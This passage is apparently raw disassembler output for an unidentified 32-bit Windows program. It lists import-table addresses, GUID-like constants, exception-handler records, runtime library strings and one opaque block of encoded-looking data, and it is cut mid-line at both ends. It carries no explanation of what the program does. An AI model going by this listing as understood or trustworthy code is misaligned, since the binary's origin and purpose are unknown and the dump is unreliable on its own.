sub_427FD3+Bo push ds:dword_438150 call ds:dword_4290F0 ; CloseHandle retn ; --------------------------------------------------------------------------- loc_428114: ; DATA XREF: .text:00427FF6o mov eax, offset dword_438188 jmp loc_40728E ; --------------------------------------------------------------------------- loc_42811E: ; DATA XREF: .text:0042800Eo mov eax, offset dword_438174 jmp loc_40728E ; --------------------------------------------------------------------------- loc_428128: ; DATA XREF: .text:loc_42801Bo push esi mov esi, offset dword_438164 call sub_413A1C pop esi retn ; --------------------------------------------------------------------------- loc_428135: ; DATA XREF: .text:00428031o push offset dword_43819C call sub_40E2F1 retn ; --------------------------------------------------------------------------- loc_428140: ; DATA XREF: .text:00428048o mov eax, offset dword_4381B8 jmp loc_40EC0A ; --------------------------------------------------------------------------- loc_42814A: ; DATA XREF: .text:00428095o mov eax, offset dword_4381D4 jmp sub_404683 ; --------------------------------------------------------------------------- loc_428154: ; DATA XREF: .text:004280ADo push ds:dword_4381D0 call ds:dword_4290F0 ; CloseHandle retn ; --------------------------------------------------------------------------- align 10h loc_428170: ; DATA XREF: sub_4280C0o push offset dword_433080 call ds:dword_4291CC test eax, eax jge short locret_428185 push eax call sub_41B8C0 locret_428185: ; CODE XREF: sub_4280CC+B1j retn ; --------------------------------------------------------------------------- loc_428186: ; DATA XREF: sub_41BAF9+31o mov ecx, offset dword_435480 jmp sub_41BABA ; --------------------------------------------------------------------------- loc_428190: ; DATA XREF: sub_4280CC+Ao mov ecx, offset dword_435490 jmp loc_41BB91 sub_4280CC endp ; --------------------------------------------------------------------------- dw 9318h dd 0C0B7AB8Ah, 12654E41h, 854A18C2h, 610CEBC7h, 0C501FC54h dd 0D2CCD602h, 0BD41D184h, 0AA198C18h, 644C7926h, 775CA1FCh dd 15D92341h, 4A48E6D0h, 0D247462h, 0E2EC2D44h, 0BD181A92h dd 949E0321h, 12A55544h, 48C98CD5h, 0BB579AD9h, 0F65E8D45h dd 5553E1C2h, 0BFFA41D0h, 4A313D47h, 0F951h, 381h dup(0) dword_429000 dd 77DD839Fh ; DATA XREF: sub_4091F9+5Dr start+187o dword_429004 dd 77DD23D7h ; DATA XREF: sub_4047DC+79r ; sub_404C05+5Cr ... dword_429008 dd 77DD842Ah ; DATA XREF: sub_40DB1B+18r dword_42900C dd 77DD590Bh ; DATA XREF: sub_408F96+1CDr ; sub_40DA94+18r ... dword_429010 dd 77DD22EAh ; DATA XREF: sub_40DAD4+12r dword_429014 dd 77DD5C55h ; DATA XREF: sub_40FE37+33r dword_429018 dd 77DD7F3Eh ; DATA XREF: sub_40D93E+48r dword_42901C dd 77DD189Ah ; DATA XREF: sub_40DB08+9r dword_429020 dd 77DD59F0h ; DATA XREF: sub_4047DC+58r ; sub_408F96+250r ... align 8 dword_429028 dd 77E7FF2Eh ; DATA XREF: sub_425669:loc_4256BCr ; sub_4256E5:loc_42573Br dword_42902C dd 77E6C703h ; DATA XREF: sub_424BB3+35r dword_429030 dd 77E7849Fh ; DATA XREF: sub_424828+1Cr ; sub_424A23+3Ar ... dword_429034 dd 77E7C866h ; DATA XREF: sub_4242B5+24r ; sub_4242B5+128r dword_429038 dd 77E641EBh ; DATA XREF: sub_4242B5+19Cr dword_42903C dd 77E802FCh ; DATA XREF: sub_423DB4+43r dword_429040 dd 77E7F044h ; DATA XREF: sub_422D45+B3r ; sub_425CAB+1Ar ... dword_429044 dd 77E7C931h ; DATA XREF: sub_422ABF+1EEr dword_429048 dd 77E77EE1h ; DATA XREF: sub_42299D+Br dword_42904C dd 77E7C9E1h ; DATA XREF: sub_42299D+C1r dword_429050 dd 77E67702h ; DATA XREF: sub_42299D:loc_422A74r dword_429054 dd 77E9C5B1h ; DATA XREF: sub_42299D+113r dword_429058 dd 77E79C3Dh ; DATA XREF: sub_4224BB+14Er ; sub_422ABF+188r dword_42905C dd 77E78406h ; DATA XREF: sub_421B9F+1EAr ; sub_422ABF+107r ... dword_429060 dd 77EB9A84h ; DATA XREF: sub_4217A5+159r dword_429064 dd 77E781F9h ; DATA XREF: sub_421354+27r ; sub_421354+15Br ... dword_429068 dd 77E77405h ; DATA XREF: sub_421354+2C3r ; sub_421354+344r ... dword_42906C dd 77E78B61h ; DATA XREF: sub_42059D+67r dword_429070 dd 77E79B39h ; DATA XREF: sub_42059D+71r dword_429074 dd 77E72B29h ; DATA XREF: sub_42059D+7Br dword_429078 dd 77F51587h ; DATA XREF: sub_4203B6+66r ; sub_423F72+79r dword_42907C dd 77E7513Ch ; DATA XREF: sub_4010AA+1Ar ; sub_40892A+FCr ... dword_429080 dd 77E79908h ; DATA XREF: sub_401162+12r ; sub_4099FE+4r ... dword_429084 dd 77E61BE6h ; DATA XREF: sub_4016AD+21r ; sub_4060B7+1Dr ... dword_429088 dd 77E7A13Fh ; DATA XREF: sub_4010AA:loc_4010EDr ; sub_424BB3+4Cr dword_42908C dd 77E6D706h ; DATA XREF: sub_41E4BE+2Er ; sub_424D24+1F5r dword_429090 dd 77E775F1h ; DATA XREF: sub_4010FE+42r ; sub_40B8C8+5r ... dword_429094 dd 77E77F21h ; DATA XREF: sub_4010AA+8r dword_429098 dd 77F53275h ; DATA XREF: sub_404683+9r ; sub_4280CC-C534r ... dword_42909C dd 77E7C657h ; DATA XREF: sub_4010FE+1Ar ; sub_41BBA7+4Er ... dword_4290A0 dd 77F516F8h ; DATA XREF: sub_4026BD+3Br ; sub_41D01D+63r ... dword_4290A4 dd 77E79C90h ; DATA XREF: sub_402382:loc_402409r ; sub_402920+Dr ... dword_4290A8 dd 77E7751Ah ; DATA XREF: sub_404694+Fr ; sub_4046C9+Er ... dword_4290AC dd 77E61A54h ; DATA XREF: sub_402382+97r ; sub_402920+1Er ... dword_4290B0 dd 77E76E0Bh ; DATA XREF: sub_402AC9+1B92r ; sub_41E7DF+44r dword_4290B4 dd 77E7C726h ; DATA XREF: sub_4026BD+2Ar ; sub_41E7DF+11r dword_4290B8 dd 77E7A099h ; DATA XREF: sub_402382+26r ; sub_4142D6+262r ... dword_4290BC dd 77E79F93h ; DATA XREF: sub_402382+91r ; sub_402920+18r ... dword_4290C0 dd 77E6169Ah ; DATA XREF: sub_402382+190r ; sub_425CAB+D5r dword_4290C4 dd 77E61608h ; DATA XREF: sub_402AC9+17Br dword_4290C8 dd 77E7166Fh ; DATA XREF: sub_404740+12r ; sub_404793+14r dword_4290CC dd 77E736A3h ; DATA XREF: sub_404793+7r dword_4290D0 dd 77E71B14h ; DATA XREF: sub_404740+42r ; sub_404793+30r dword_4290D4 dd 77E704FCh ; DATA XREF: sub_404B0D+12r ; sub_4142D6+2A6r dword_4290D8 dd 77F5157Dh ; DATA XREF: sub_404B0D+46r ; sub_4142D6+23Br ... dword_4290DC dd 77E73628h ; DATA XREF: sub_4077BF+129r ; sub_4078F0+51r ... dword_4290E0 dd 77E7A5FDh ; DATA XREF: sub_406A96+2Fr ; sub_40DB56+29r ... dword_4290E4 dd 77E805D8h ; DATA XREF: sub_406A96+1Ar ; sub_40DB56+18r ... dword_4290E8 dd 77E75CB5h ; DATA XREF: sub_404E2C+A0r ; sub_416F51+86r ... dword_4290EC dd 77E61BB8h ; DATA XREF: sub_404E2C+99r ; sub_4077BF+BDr ... dword_4290F0 dd 77E77963h ; DATA XREF: sub_404E2C+49r ; sub_405CF2+8r ... dword_4290F4 dd 77E7A837h ; DATA XREF: sub_405CAD+1Er ; sub_421B9F+1DDr dword_4290F8 dd 77E73FF9h ; DATA XREF: sub_4259E3+57r dword_4290FC dd 77E78C81h ; DATA XREF: sub_405DAF+8r ; sub_405DBE+1Er ... dword_429100 dd 77E70192h ; DATA XREF: sub_407466+2D3r ; sub_407466+308r ... dword_429104 dd 77E79D8Ch ; DATA XREF: sub_405D36+10r ; sub_422242+E8r ... dword_429108 dd 77E78B82h ; DATA XREF: sub_405D04+10r ; sub_405DE6+33r ... dword_42910C dd 77E74A3Bh ; DATA XREF: sub_40C987+9Er ; sub_40E577+2Dr ... dword_429110 dd 77E74CABh ; DATA XREF: .text:00408B85r ; sub_421B59+4r dword_429114 dd 77E74A69h ; DATA XREF: sub_40E5EC+74r ; .text:0040F8D6r ... dword_429118 dd 77E6AF8Fh ; DATA XREF: sub_4077BF+51r ; sub_4077BF+106r ... dword_42911C dd 77E6AD34h ; DATA XREF: sub_4077BF+3Br ; sub_4077BF+EEr ... dword_429120 dd 77E6167Bh ; DATA XREF: sub_409431+9r ; sub_423DB4+1Br dword_429124 dd 77E77CCEh ; DATA XREF: sub_409538+1Ar ; sub_421354+C0r ... dword_429128 dd 77E79D5Bh ; DATA XREF: sub_405664+23r ; sub_4056EB+23r ... dword_42912C dd 77F7E300h ; DATA XREF: sub_404694+2Br ; sub_4046C9+8r ... dword_429130 dd 77F7E21Fh ; DATA XREF: sub_404694+4r ; sub_4046C9+1r ... dword_429134 dd 77E7C2C4h ; DATA XREF: sub_4099E5+5r ; sub_4142D6+230r dword_429138 dd 77E776A0h ; DATA XREF: sub_405664+38r ; sub_405664+61r ... dword_42913C dd 77E706B7h ; DATA XREF: sub_40DB56+B6r ; sub_4142D6+128r dword_429140 dd 77E7C4B7h ; DATA XREF: sub_40DB56+18Cr dword_429144 dd 77E79824h ; DATA XREF: sub_40DB56+1EFr dword_429148 dd 77E80656h ; DATA XREF: sub_40DEBF+152r ; sub_4142D6+10Er ... dword_42914C dd 77E61A90h ; DATA XREF: sub_40DB56+1D8r ; sub_40DEBF+16Dr dword_429150 dd 77E737DEh ; DATA XREF: sub_40E4C6+45r ; sub_41602D+30r dword_429154 dd 77E7C9E7h ; DATA XREF: sub_4142D6+13r ; sub_42391A+5r ... dword_429158 dd 77EBA595h ; DATA XREF: sub_41B9C0r dword_42915C dd 77E7011Ah ; DATA XREF: sub_4142D6+308r dword_429160 dd 77E616B4h ; DATA XREF: sub_4142D6+137r ; sub_41F59B+2Er dword_429164 dd 77E6BD13h ; DATA XREF: sub_4142D6+273r dword_429168 dd 77EBA6E9h ; DATA XREF: sub_41B9C6r dword_42916C dd 77EBB1E7h ; DATA XREF: sub_41B9CCr dword_429170 dd 77E73CE2h ; DATA XREF: sub_4142D6+2E1r dword_429174 dd 77E79924h ; DATA XREF: sub_41B760+49r ; sub_41B760+10Br ... dword_429178 dd 77E79A45h ; DATA XREF: .text:0041B96Er ; .text:0041B99Er dword_42917C dd 77E7C5B4h ; DATA XREF: sub_42037Dr dword_429180 dd 77F522F2h ; DATA XREF: sub_41F69E+5Ar dword_429184 dd 77E73196h ; DATA XREF: sub_42687D+Cr dword_429188 dd 77E7980Ah ; DATA XREF: sub_41ED3F+7Er ; sub_41EDF6+52r ... dword_42918C dd 77E79E34h ; DATA XREF: sub_41EA27+22Fr dword_429190 dd 77F5722Fh ; DATA XREF: sub_41E618+137r ; sub_41E618+188r ... dword_429194 dd 77F6183Eh ; DATA XREF: sub_427702r dword_429198 dd 77E7C938h ; DATA XREF: start:loc_41DDBBr dword_42919C dd 77E6177Ah ; DATA XREF: start-1C1F1r ; sub_422ABF+5Dr dword_4291A0 dd 77E7AC37h ; DATA XREF: sub_41D7F8+60r dword_4291A4 dd 77E77CC4h ; DATA XREF: sub_41D732:loc_41D79Dr ; sub_4203B6+4Fr ... dword_4291A8 dd 77E73C49h ; DATA XREF: sub_41D732+2Ar dword_4291AC dd 77F51597h ; DATA XREF: sub_41C2DD+65r ; sub_41EA27+2B4r ... dword_4291B0 dd 77E7C3A5h ; DATA XREF: sub_425CAB+2Br dword_4291B4 dd 77E7339Ch ; DATA XREF: sub_426861+Cr dword_4291B8 dd 77E7176Ch ; DATA XREF: sub_426899+8r dword_4291BC dd 77E793EFh ; DATA XREF: sub_402382+54r ; sub_405DE6+Br ... dd 0 dword_4291C4 dd 771216A4h ; DATA XREF: sub_409538+3Cr dword_4291C8 dd 77121651h ; DATA XREF: sub_4060DC+D3r ; sub_406B3F+12Dr dword_4291CC dd 7712151Dh ; DATA XREF: .text:00406075r ; sub_40607C+7r ... dword_4291D0 dd 77123662h ; DATA XREF: sub_4060DC+5F8r ; sub_4060DC+685r dword_4291D4 dd 771214E8h ; DATA XREF: sub_405EF4+95r ; sub_406033+9r ... dword_4291D8 dd 77121680h ; DATA XREF: sub_405EF4+47r ; sub_406033+1Ar align 10h dword_4291E0 dd 7678121Bh ; DATA XREF: sub_404AA9+Fr ; sub_404ADB+Fr ... align 8 dword_4291E8 dd 77D4A414h ; DATA XREF: sub_406A96+43r dword_4291EC dd 77D47627h ; DATA XREF: sub_406A96+8Ar ; sub_41643A+Dr dword_4291F0 dd 77D43DD3h ; DATA XREF: sub_406A96+6Br ; sub_4142D6+45Dr dword_4291F4 dd 77D4456Bh ; DATA XREF: sub_4071F6+1Ar ; .text:00408B74r dword_4291F8 dd 77D4A331h ; DATA XREF: sub_4071F6+2Er dword_4291FC dd 77D5C5EAh ; DATA XREF: sub_4060B7+12r ; .text:0040BB3Fr ... dword_429200 dd 77D4763Dh ; DATA XREF: sub_406B3F+47r ; sub_406B3F+585r ... dword_429204 dd 77D441F2h ; DATA XREF: sub_406A96+75r ; sub_4142D6+467r dword_429208 dd 77D5C2CCh ; DATA XREF: sub_4060DC+1Fr ; sub_406B3F+Fr ... dword_42920C dd 77D4BDCAh ; DATA XREF: sub_4011B2+8r dword_429210 dd 77D45B19h ; DATA XREF: sub_4011B2+11r ; sub_4011D1+27r ... dword_429214 dd 77D47D27h ; DATA XREF: sub_4016AD+6Fr dword_429218 dd 77D5BE95h ; DATA XREF: sub_416071+11Br dword_42921C dd 77D4DCCCh ; DATA XREF: sub_4142D6+1D8r dword_429220 dd 77D4B816h ; DATA XREF: sub_414767+49r dword_429224 dd 77D414D4h ; DATA XREF: sub_4142D6+1F0r dword_429228 dd 77D46F5Bh ; DATA XREF: sub_414767+10r ; sub_414767+3Er dword_42922C dd 77D6ADD7h ; DATA XREF: sub_40EC36+2Fr dword_429230 dd 77D46E60h ; DATA XREF: .text:0040BB50r ; sub_4153A7+1Cr dword_429234 dd 77D4932Ch ; DATA XREF: sub_407EE6+13r ; .text:00408B9Er dword_429238 dd 77D46349h ; DATA XREF: sub_407EE6+37r ; sub_40D743+20r ... dword_42923C dd 77D5C3E2h ; DATA XREF: sub_4060DC+60r ; sub_406B3F+100r dword_429240 dd 77D5E303h ; DATA XREF: sub_401236+119r ; .text:loc_40473Ar ... dword_429244 dd 77D4A414h ; DATA XREF: sub_401236+F5r ; sub_401236+156r ... dword_429248 dd 77D5E38Ch ; DATA XREF: sub_404740+5r dword_42924C dd 77D6BB30h ; DATA XREF: sub_401236:loc_4013B3r ; sub_416071:loc_41632Br dword_429250 dd 77D5E310h ; DATA XREF: sub_401236+145r ; sub_40472B+2r ... dword_429254 dd 77D6BB4Ch ; DATA XREF: sub_404793+3Br dword_429258 dd 77D49A11h ; DATA XREF: sub_4016AD+115r dword_42925C dd 77D651AFh ; DATA XREF: sub_4011D1+21r ; sub_401236+2Dr ... dword_429260 dd 77D4702Fh ; DATA XREF: sub_4011D1+1Br ; sub_401236+17r ... dword_429264 dd 77D5C13Ah ; DATA XREF: sub_4013EC+33r ; .text:00408C29r ... dword_429268 dd 77D44200h ; DATA XREF: sub_406A96+5Fr ; sub_4142D6:loc_414727r align 10h dword_429270 dd 71AB12F8h ; DATA XREF: sub_4027E5+D3r ; .text:0040BAEEr ... dword_429274 dd 71AB401Ch ; DATA XREF: sub_402920+148r ; sub_405771+4Cr ... dword_429278 dd 71AB32CAh ; DATA XREF: sub_40497E+1Dr ; sub_404A16+1Dr dword_42927C dd 71AB1746h ; DATA XREF: sub_40CA30+354r ; sub_414A1F+3Ar dword_429280 dd 71AB5F97h ; DATA XREF: sub_414D44+60r dword_429284 dd 71ABF628h ; DATA XREF: sub_414B09+Er dword_429288 dd 71AB155Ah ; DATA XREF: sub_4149DD+26r dword_42928C dd 71AB3E5Dh ; DATA XREF: sub_414A81+40r dword_429290 dd 71AB1740h ; DATA XREF: sub_414C2D:loc_414C84r ; .text:00414E72r ... dword_429294 dd 71AB5EFCh ; DATA XREF: sub_414C04+1Fr dword_429298 dd 71AB5E6Fh ; DATA XREF: sub_414AE0+21r dword_42929C dd 71AB157Eh ; DATA XREF: sub_414BB6+Er dword_4292A0 dd 71AB8629h ; DATA XREF: sub_40B78B+5Dr ; sub_414DBA+Ar ... dword_4292A4 dd 71AB1ED3h ; DATA XREF: sub_414CEA+18r dword_4292A8 dd 71AB3C22h ; DATA XREF: sub_4148F1+15r dword_4292AC dd 71AB1A6Dh ; DATA XREF: sub_414D44+44r dword_4292B0 dd 71ABCF09h ; DATA XREF: sub_414BF7+6r dword_4292B4 dd 71AB2BBFh ; DATA XREF: sub_41484D+16r dword_4292B8 dd 71AB5DE2h ; DATA XREF: sub_414A0C+Ar dword_4292BC dd 71AB868Dh ; DATA XREF: sub_414A1F+1Fr dword_4292C0 dd 71AB41DAh ; DATA XREF: sub_4142D6+212r dword_4292C4 dd 71AB3ECEh ; DATA XREF: sub_414997+2Br dword_4292C8 dd 71AB5ED3h ; DATA XREF: sub_414ACDr ; sub_4150A5+4Er dword_4292CC dd 71AB44ABh ; DATA XREF: .text:00407B82r ; .text:00407BEAr ... dword_4292D0 dd 71AB12A7h ; DATA XREF: sub_4054F8+8r dword_4292D4 dd 71AB1890h ; DATA XREF: sub_40547E+48r dword_4292D8 dd 71AB5690h ; DATA XREF: sub_40547E+72r ; sub_414D0B+11r dword_4292DC dd 71AB1B7Bh ; DATA XREF: sub_41B758r dword_4292E0 dd 71AB1AF4h ; DATA XREF: sub_4054F8+Er ; sub_405615+13r ... dword_4292E4 dd 71AB1746h ; DATA XREF: sub_40CA30+16Fr ; sub_40CA30+7FFr ... dd 0 dword_4292EC dd 76D642A3h ; DATA XREF: sub_41B9BAr dd 0 dword_4292F4 dd 771C6F69h ; DATA XREF: sub_405E63+14r ; sub_406A96+4Fr ... dword_4292F8 dd 771C1E56h ; DATA XREF: sub_405E63+34r ; sub_405EF4+39r ... dword_4292FC dd 771C16BAh ; DATA XREF: sub_405EDB+12r ; sub_4095D4:loc_409714r dd 4 dup(0) dword_429310 dd 0D6B0E4C8h, 4885FAD6h, 0C50D71B2h, 0F8AD84A5h, 0D6B0E4C9h ; DATA XREF: sub_4095D4+7Fo dd 4885FAD6h, 0C50D71B2h, 0F8AD84A5h dword_429330 dd 0D50C3186h, 48F80F89h, 43604B2h, 10EE9D62h, 0D50C3286h ; DATA XREF: sub_4095D4+20o ; sub_409729+2Bo dd 48F80F89h, 43604B2h, 10EE9D62h, 0D50C3386h, 48F80F89h dd 43604B2h, 10EE9D62h, 0C9A6A6B6h, 43A59BC1h, 88E56BB0h dd 96BCEE74h dword_429370 dd 0E7479A0Fh, 44A5BB19h, 416F8F96h, 0BCE03ED9h ; DATA XREF: sub_409729+A0o dword_429380 dd 0E7479A0Dh, 44A5BB19h, 416F8F96h, 0BCE03ED9h, 2E50547Bh ; DATA XREF: sub_409729+5Do dd 4F60A8AAh, 411F7EB5h, 7B001147h, 2E50547Ch, 4F60A8AAh dd 411F7EB5h, 7B001147h, 0E1AF1028h, 44CBB884h, 3C1C35A5h dd 0DBD1A311h, 0E1AF1038h, 44CBB884h, 3C1C35A5h, 0DBD1A311h dd 0E02AD29Eh, 46C680F5h, 3E9B16B4h, 7E05DFBDh dword_4293E0 dd 0B69003B3h, 4B48C55Eh, 59BC6C83h, 283BFC46h, 430DB0h ; DATA XREF: sub_4095D4+28o ; sub_409729+33o off_4293F4 dd offset loc_41B980 ; DATA XREF: .text:0041B8E5o ; .text:0041B917o ... ; --------------------------------------------------------------------------- loc_4293F8: ; DATA XREF: sub_4060DC+1BBo ; sub_406B3F+233o ... daa inc esp sub al, 33h retf ; --------------------------------------------------------------------------- db 26h, 0D0h, 11h dd 0C00083B4h, 1901D94Fh dword_429408 dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh ; DATA XREF: sub_4060DC+78o ; sub_406B3F+118o dword_429418 dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_406B3F+412o ; sub_40716D+30o dword_429428 dd 3050F364h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_406B3F+42Co dword_429438 dd 2 dup(0) ; DATA XREF: sub_40716D+1Do dd 0C0h, 46000000h dword_429448 dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400h ; DATA XREF: sub_4070F6+2Do dword_429458 dd 20400h, 0 ; DATA XREF: sub_40716D+Ao dd 0C0h, 46000000h, 430E10h off_42946C dd offset loc_401067 ; DATA XREF: sub_401000+20o ; sub_40103C+Ao ... dd offset sub_401059 dd offset dword_430E5C off_429478 dd offset loc_40108E ; DATA XREF: sub_401083o ; .text:00401E3Fo ... dd offset sub_401059 dd offset dword_430EA8 off_429484 dd offset sub_41B9D2 ; DATA XREF: sub_41B9EEo ; sub_41B9F9+33o ... dd offset sub_401059 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41B9F9+Do aStringTooLong db 'string too long',0 ; DATA XREF: sub_41BA51+Do dd offset dword_430EF0 off_4294B8 dd offset loc_41BAC5 ; DATA XREF: sub_41BABAo ; .text:0041BAEDo ... dd offset sub_41C86B dword_4294C0 dd 20646162h, 6F6C6C61h, 69746163h, 6E6Fh, 0B62F5910h ; DATA XREF: sub_41BAF9+25o dd 11D16528h, 1196h, 0D0D1EF8h dword_4294E0 dd 394C3DE0h, 11D23C6Fh, 0C0007B81h, 0B77A794Fh ; DATA XREF: sub_41BBA7+84o stru_4294F0 _msEH <0FFFFFFFFh, 0, offset sub_41C330> ; DATA XREF: sub_41C2DD+2o align 10h stru_429500 _msEH <0FFFFFFFFh, 0, offset sub_41C588> ; DATA XREF: sub_41C556+2o dd offset dword_430F1C off_429510 dd offset loc_41C878 ; DATA XREF: sub_41C7BD+Ao ; sub_41C7CE+8o ... dd offset sub_41C86B aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_41C86B+7o align 4 dd offset dword_430F60 off_429530 dd offset sub_41C913 ; DATA XREF: sub_41C8CD+Eo ; .text:off_433094o ... align 8 stru_429538 _msEH <0FFFFFFFFh, 0, offset sub_41C90A> ; DATA XREF: sub_41C8CD+2o align 10h oword_429550 xmmword 3FF00000000000003FF0000000000000h ; DATA XREF: .text:0041CFE3r ; .text:0041D00Ar oword_429560 xmmword 4330000000000000433h ; DATA XREF: .text:0041CF46r oword_429570 xmmword 0 ; DATA XREF: .text:loc_41D001r oword_429580 xmmword 7FFh ; DATA XREF: .text:0041CF5Fr dbl_429590 db 0, 0, 0, 0, 0, 0, 0, 80h ; DATA XREF: .text:loc_41CFFAr stru_429598 _msEH <0FFFFFFFFh, 0, offset sub_41D08C> ; DATA XREF: sub_41D01D+2o align 10h oword_4295B0 xmmword 3FF00000000000003FF0000000000000h ; DATA XREF: .text:0041D1C3r oword_4295C0 xmmword 4330000000000000433h ; DATA XREF: .text:0041D126r oword_4295D0 xmmword 4330000000000000BFF0000000000000h ; DATA XREF: .text:0041D1EEr oword_4295E0 xmmword 80000000000000008000000000000000h ; DATA XREF: .text:loc_41D1DDr ; .text:0041D1E6r oword_4295F0 xmmword 7FFh ; DATA XREF: .text:0041D13Fr stru_429600 _msEH <0FFFFFFFFh, 0, offset sub_41D3CA> ; DATA XREF: sub_41D378+2o align 10h stru_429610 _msEH <0FFFFFFFFh, 0, offset sub_41D43B> ; DATA XREF: sub_41D3E7+2o align 10h stru_429620 _msEH <0FFFFFFFFh, 0, offset sub_41D509> ; DATA XREF: sub_41D4C3+2o align 10h stru_429630 _msEH <0FFFFFFFFh, offset loc_41D7D8, offset sub_41D7EC> ; DATA XREF: sub_41D732+33o align 10h stru_429640 _msEH <0FFFFFFFFh, 0, offset sub_41D9DC> ; DATA XREF: sub_41D92B+2o align 10h stru_429650 _msEH <0FFFFFFFFh, 0, offset sub_41DB10> ; DATA XREF: sub_41DACE+2o align 10h stru_429660 _msEH <0FFFFFFFFh, 0, offset sub_41DC63> ; DATA XREF: sub_41DC21+2o align 10h stru_429670 _msEH <0FFFFFFFFh, offset sub_41DE51, offset loc_41DE65> ; DATA XREF: start-1C348o dword_42967C dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_41E4BE+Eo dd 3, 19930520h, 3 dup(0) stru_4296A0 _msEH <0FFFFFFFFh, offset sub_41E5A7, offset loc_41E5AB> ; DATA XREF: sub_41E5BB-2Fo align 10h stru_4296B0 _msEH <0FFFFFFFFh, 0, offset sub_41E778> ; DATA XREF: sub_41E618+2o align 10h stru_4296C0 _msEH <0FFFFFFFFh, 0, offset sub_41E97A> ; DATA XREF: sub_41E8E3+2o aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: sub_41F4D7+Fo align 4 aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: sub_41F4D7o stru_4296E8 _msEH <0FFFFFFFFh, 0, offset loc_41F645> ; DATA XREF: sub_41F59B+2o ; sub_41F8BB+5Er align 8 stru_4296F8 _msEH <0FFFFFFFFh, 0, offset sub_41F708> ; DATA XREF: sub_41F69E+2o align 8 byte_429708 db 6 ; DATA XREF: sub_41F8BB:loc_41F927r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8, 41h dup(0) asc_429868: ; DATA XREF: .text:off_4333E0o ; .text:00433438o unicode 0, < ((((( H> dw 10h dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h) dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h dd 100010h, 200010h, 40h dup(0) dword_429A68 dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h ; DATA XREF: .text:004333E4o dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h) dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h) dd 3 dup(100010h), 3 dup(1820182h), 0Ah dup(1020102h) dd 2 dup(100010h), 10h dup(200020h), 480020h, 8 dup(100010h) dd 140010h, 100014h, 2 dup(100010h), 100014h, 2 dup(100010h) dd 1010010h, 0Bh dup(1010101h), 1010010h, 3 dup(1010101h) dd 0Ch dup(1020102h), 1020010h, 3 dup(1020102h), 1010102h dd 0 aHH: unicode 0, < h(((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(1810181h), 0Ah dup(1010101h), 3 dup(100010h) dd 3 dup(1820182h), 0Ah dup(1020102h), 2 dup(100010h) dd 20h, 4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh, 14131211h dd 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h, 28272625h dd 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h, 3C3B3A39h dd 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h, 504F4E4Dh dd 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh, 64636261h dd 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h dd 7C7B7A79h, 7F7E7Dh stru_429DF0 _msEH <0FFFFFFFFh, 0, offset sub_420374> ; DATA XREF: sub_420342+2o align 10h stru_429E00 _msEH <0FFFFFFFFh, 0, offset sub_420554> ; DATA XREF: sub_420427+2o dd 0FFFFFFFFh, 0 dd offset sub_420562 aFlsfree db 'FlsFree',0 ; DATA XREF: sub_42059D+4Co aFlssetvalue db 'FlsSetValue',0 ; DATA XREF: sub_42059D+3Fo aFlsgetvalue db 'FlsGetValue',0 ; DATA XREF: sub_42059D+32o aFlsalloc db 'FlsAlloc',0 ; DATA XREF: sub_42059D+2Ao align 4 aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_42059D+13o ; sub_423F72+1Eo align 4 dd 2 dup(0) dd 7FF00000h, 0 dd 0FFF00000h, 0 dd 7FE00000h, 0 dd 200000h, 3 dup(0) dd 80000000h, 7F800000h, 0FF800000h, 7FC00000h, 0FFC00000h dd 0 dd 80000000h, 7149F2CAh, 0F149F2CAh, 0DA24260h, 8DA24260h dd 0C2F8F359h, 1A56E1Fh, 0C2F8F359h, 81A56E1Fh aAtan db 'atan',0 ; DATA XREF: sub_42068C:loc_4208C6o align 4 aCeil db 'ceil',0 ; DATA XREF: sub_42068C:loc_4208BDo align 10h aFloor db 'floor',0 ; DATA XREF: sub_42068C:loc_4208B4o align 4 aModf db 'modf',0 ; DATA XREF: sub_42068C+210o align 10h aExp2 db 'exp2',0 ; DATA XREF: sub_42068C:loc_42083Eo align 4 aExp10 db 'exp10',0 ; DATA XREF: sub_42068C+1A2o align 10h aLog2 db 'log2',0 ; DATA XREF: sub_42068C:loc_42080Bo ; sub_42068C+192o align 4 aPow db 'pow',0 ; DATA XREF: sub_42068C:loc_420736o ; sub_42068C+CFo ... aLog db 'log',0 ; DATA XREF: sub_42068C:loc_420714o ; sub_42068C+97o ... aLog10 db 'log10',0 ; DATA XREF: sub_42068C:loc_4206F9o ; sub_42068C+7Co ... align 4 aExp db 'exp',0 ; DATA XREF: sub_42068C+4Eo ; sub_42068C+61o ... align 10h stru_429F10 _msEH <0FFFFFFFFh, offset loc_42093B, offset loc_42093F> ; DATA XREF: sub_42091A+2o aAuthenticamd db 'AuthenticAMD',0 ; DATA XREF: .text:004209C2o align 10h dbl_429F30 dq 1.0 ; DATA XREF: .text:00420A8Ar ; .text:00420B5Dr ... stru_429F38 _msEH <0FFFFFFFFh, 0, offset sub_420FA2> ; DATA XREF: sub_420E8C+2o align 8 stru_429F48 _msEH <0FFFFFFFFh, 0, offset sub_421157> ; DATA XREF: 